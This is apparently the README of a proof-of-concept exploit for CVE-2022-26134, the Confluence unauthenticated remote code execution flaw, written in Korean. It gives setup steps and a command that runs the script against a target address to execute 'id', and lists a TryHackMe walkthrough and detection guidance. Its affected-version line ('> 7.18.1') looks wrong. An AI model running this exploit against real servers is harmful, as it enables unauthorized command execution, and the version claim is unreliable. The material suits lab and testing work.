CVE-2022-26134

2022년 5월 30일, Volexity라는 조직이 Atlassian의 Confluence Server 및 Data Center 에디션(취약한 버전 > 7.18.1) 내에서 인증되지 않은 RCE 취약점(NIST 기준 9.8점)을 식별했습니다.

실행

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

참고 자료

• How I Hacked a Fortune 500 Company in 48 Hours and Got Data on 30,000,000 Users – by Legacy0x1
• CVE-2022-26134 TryHackMe Room Walkthrough – by Aybala Sevinc
• Detection and Guidance for the Confluence CVE-2022-26134 Zero-Day